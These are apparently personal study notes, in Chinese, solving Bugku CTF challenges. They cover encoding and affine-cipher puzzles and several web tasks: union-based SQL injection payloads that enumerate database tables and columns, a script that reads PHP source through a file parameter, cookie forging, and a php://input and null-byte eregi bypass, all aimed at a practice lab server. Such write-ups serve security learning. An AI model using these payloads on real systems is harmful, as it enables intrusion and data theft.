bugku 告诉你一个秘密
参考博文:https://www.jianshu.com/p/3cacf1dd479c
需要了解base64编码特征才能想到。
利用键盘位置做密码很巧妙。
bugku 这不是md5
确实不是md5,十六进制字符串直接转字符即可。
bugku 贝斯家族
base编码系列除了64之外还有16 32 36 58 62 91等。后面的数字为用于编码的种类,数字越大,一般来讲编码效率越高。
http://ctf.ssleye.com/base91.html
bugku 富强民主
一个少见编码,核心价值观编码
http://ctf.ssleye.com/cvencode.html
bugku 进制转换
编写脚本,根据首字母进行进制转换即可
代码如下:
def jinzhizhuanhuan(str1):
strnew = ''
arr = str1.split(' ')
for i in arr:
if(i[0] == 'b'):
strnew+= chr(int(i[1:],2))
elif(i[0] == 'd'):
strnew+= chr(int(i[1:]))
elif(i[0] == 'x'):
strnew+= chr(int(i[1:],16))
elif(i[0] == 'o'):
strnew+= chr(int(i[1:],8))
return strnew
bugku affine
这道题属于仿射加密,将字母限制在0-25中,进行运算然后对26取余。
代码如下:
def affineEncode(str):
newstr = ''
for i in str:
newstr += chr(((ord(i)-97)*17+18)%26+97)
return newstr
def affineDecode(str):
newstr = ''
for i in str:
x = ord(i)-97
for i in range(26):
if(x == (17 * i + 18) % 26):
newstr += chr(i+97)
return newstr
bugku 来自宇宙的信号
一种特殊字母——标准银河字母(百度上有)。
(枉我对着图片进行各种操作,以为是图片隐写,以为是图片高度问题,以为是符合文件问题,想多了)
bugku 学生成绩查询
一个标准sql注入问题,在这里做积累
此处注入点为id
- 先检查是否存在漏洞,id = 1, id = 1’, id = 1’# (#为注释掉后面的语句。)
在此发现1’出现错误而1’#可以正常运行说明存在注入。 - 检查列数。id = 2’ order by 4/5# (猜测有4列还是5列)此处为4列
- 使用联合查询,要把前面查询设置为空 id =0’union select 1,2,3,4#(如果不设为空,会把位置用数据填上查询不到)
id=0' union select 1,database(),user(),version()#
(对数据库进行爆破)
根据数据库查询表名。
id = 0' union select 1,( select group_concat(table_name) from information_schema.tables where table_schema=database() ),user(),version()#
根据表名查询字段名
id = 0' union select 1,( select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g' ),user(),version()#
有了表名有了字段名,可以查询具体值
bugku 秋名山老司机
目的是快速反弹post请求。利用python requests库。编写代码
import requests
s= requests.Session()
r = s.get('http://123.206.87.240:8002/qiumingshan/')
answer = eval(r.text.split('<div>')[1].split('=')[0])
post = {'value': answer}
print(s.post('http://123.206.87.240:8002/qiumingshan/', data=post).text)
上述代码,在过滤网页文字得到数字的部分可以利用正则表达式。
eval函数可以直接计算字符串中的算式。
s = re.search(r'^<div>(.*)=\?</div>$', r.text, re.M | re.S)
此处re.M 让正则多行匹配。 re.S让 . 可以匹配换行符
bugku cookies欺骗
http://123.206.87.240:8002/web11/
直接进入的乱码无意义,参数一个是行数和文件名。
文件名末尾有一个= 等号,猜测为base64编码,解码为keys.txt
(可以验证访问http://123.206.87.240:8002/web11/keys.txt。发现index.php可以访问文件的某一行。而目前另一个可访问文件,即当前页面的index.php。)
把index.php编码,写python脚本将整个index.php代码爬下来
代码如下
import requests
code = ''
for i in range(40):
r = requests.get("http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw")
code += r.text
print(code)
得到源码:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ <--- 重要位置
$file_list[2]='keys.php'; <--- 重要位置
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
发现想要访问keys.php,需要将cookie[margin]设置为cookie
我用的chrome插件EditThisCookie。
访问页面 http://123.206.87.240:8002/web11/index.php?line=0&filename=a2V5cy5waHA=
答案在查看源码的第一行被备注了
bugku never give up
首先根据页面源码提示,访问1p.html
发现1p.html网页存在跳转,于是在网址前面加view-source: 直接看源码,得到一串字符。
观察有很多% 先进行unescape。
把脚本部分去掉,后面部分是个base64,继续解码。
又出现了% 继续unescape。
得到php源码。
php stripos(str,s) 输出s第一次出现在str中的位置
php substr(str,num) 截取字符串从Num位置。
php file_get_contents 将文件读入字符串
php eregi(s,str) 现在弃用了的不区分大小写的正则表达式,匹配字符在字符串是否存在
此处发现关键文件,f4l2a3g.txt 直接访问即可得到flag。
本着学习的态度,继续讨论源码。
源码给出了几个要求。
这里借鉴博客 https://www.cnblogs.com/cyc-endeavor/p/10375692.html
做积累:
php伪协议:之前接触过一点,此处由于file_get_contents()函数只能读取数据流。
php://input可以访问原始请求数据中的数据流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku is a nice plateform!。
eregi(s , str)截断漏洞: s 部分若出现空字符,则会在正则匹配时被截断
例如: substr($b,0,1) = “\x00123”